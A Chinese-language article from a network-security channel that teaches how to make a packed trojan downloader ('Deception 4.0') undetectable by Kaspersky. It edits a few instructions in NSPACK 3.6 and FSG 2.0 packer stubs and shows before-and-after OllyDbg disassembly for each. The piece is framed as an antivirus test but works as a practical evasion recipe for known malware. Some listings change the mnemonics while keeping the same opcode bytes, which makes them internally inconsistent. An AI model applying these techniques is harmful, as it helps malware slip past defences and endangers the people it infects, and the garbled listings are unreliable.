网络安全 频道

简单修改木马壳头让卡巴斯基哑口无言

    简介:在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。


    “小样,你以为你穿了马甲我就不认识你了?”这句台词耳熟能详。现在用户用这句话来形容反病毒厂商的脱壳技术。这项技术的产生与病毒程序编写者使用的“加壳”技术密切相关。

    众所周知,所谓“加壳”就是一种通过一系列数学运算,将可执行程序文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。一切操作自动完成,用户不知道也无需知道壳程序是如何运行的。一般情况下,加壳程序和未加壳程序的运行结果是一样的。

    面对病毒编写者为其病毒“加壳”的问题,反病毒厂商自然而然地采用“脱壳”技术。脱壳的一般流程包括,查壳、寻找OEP(入口点,防止被破解)、Dump(卸出)、修复等步骤。目前,脱壳能力强弱则成为杀毒软件查杀病毒能力如何的重要衡量指标。

    病毒编写者与反病毒厂商之间新一轮博弈在“加壳”与“脱壳”两个共生技术之间展开了。

    在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。

    笔者随便在网络上下了一个国外的下载者Deception4.0(以下简称DT)。卡巴是杀它的,不然测试就没法进行了。虽然只修改了加在DT上的9,但是按照这种方式加在其他的可执行文件上卡巴也是不报毒的,其中修改后的程序保证了程序的可再运行,不然这种修改是无意义的测试。开始操作,下面准备了八个最常见的壳。

    一、首先对NSPACK3.6的测试

    用OD载入被加过NSPACK壳的DT,复制出前十几行,如下(蓝色加粗是要被修改的部位,以下格式如一)
    004CF302     E8 00000000      call 复件_(2).004CF307
    004CF307     5D               pop ebp
    004CF308     83C5 F9          sub ebp,7
    004CF30B     8D85 0CFFFFFF    lea eax,dword ptr ss:[ebp-F4]
    004CF311     8338 01          cmp dword ptr ds:[eax],1
    004CF314     0F84 47020000    je 复件_(2).004CF561
    004CF31A     C700 01000000    mov dword ptr ds:[eax],1
    004CF320     8BD5             mov edx,ebp
    004CF322     2B95 A0FEFFFF    sub edx,dword ptr ss:[ebp-160]
    004CF328     8995 A0FEFFFF    mov dword ptr ss:[ebp-160],edx
    004CF32E     1195 D0FEFFFF    add dword ptr ss:[ebp-130],edx
    004CF334     8DB5 14FFFFFF    lea esi,dword ptr ss:[ebp-EC]
    004CF33A     1116             add dword ptr ds:[esi],edx

     修改成如下(红色部分)
    004CF302     E8 00000000      call 复件_(2).004CF307
    004CF307     5D               pop ebp
    004CF308     83C5 F9          add ebp,-7
    004CF30B     8D85 0CFFFFFF    lea eax,dword ptr ss:[ebp-F4]
    004CF311     8338 01          cmp dword ptr ds:[eax],1
    004CF314     0F84 47020000    je 复件_(2).004CF561
    004CF31A     C700 01000000    mov dword ptr ds:[eax],1
    004CF320     8BD5             mov edx,ebp
    004CF322     2B95 A0FEFFFF    sub edx,dword ptr ss:[ebp-160]
    004CF328     8995 A0FEFFFF    mov dword ptr ss:[ebp-160],edx
    004CF32E     1195 D0FEFFFF    adc dword ptr ss:[ebp-130],edx
    004CF334     8DB5 14FFFFFF    lea esi,dword ptr ss:[ebp-EC]
    004CF33A     1116             adc dword ptr ds:[esi],edx
    之后保存文件,用卡巴扫描,不再报毒。

    二、FSG2.0的测试
    OD载入被FSG2.0加了壳的DT

    复制出前十几行,如下
    00400154 f>  8725 2C115300    xchg dword ptr ds:[53112C],esp
    0040015A     61               popad
    0040015B     94               xchg eax,esp
    0040015C     55               push ebp
    0040015D     A4               movs byte ptr es:[edi],byte ptr ds:>
    0040015E     B6 80            mov dh,80
    00400160     FF13             call dword ptr ds:[ebx]
    00400162   ^ 77 F9            jnb short fsg2_0.0040015D
    00400164     33C9             xor ecx,ecx
    00400166     FF13             call dword ptr ds:[ebx]
    00400168     77 16            jnb short fsg2_0.00400180
    0040016A     33C0             xor eax,eax

    修改后如下
    00400154 f>  8725 2C115300    xchg dword ptr ds:[53112C],esp
    0040015A     61               popad
    0040015B     94               xchg eax,esp
    0040015C     55               push ebp
    0040015D     A4               movs byte ptr es:[edi],byte ptr ds:>
    0040015E     B6 80            mov dh,80
    00400160     FF13             call dword ptr ds:[ebx]
    00400162   ^ 77 F9            ja short fsg2_0.0040015D
    00400164     33C9             xor ecx,ecx
    00400166     FF13             call dword ptr ds:[ebx]
    00400168     77 16            ja short fsg2_0.00400180
    0040016A     33C0             xor eax,eax

    卡巴扫描,不再报毒。

0
相关文章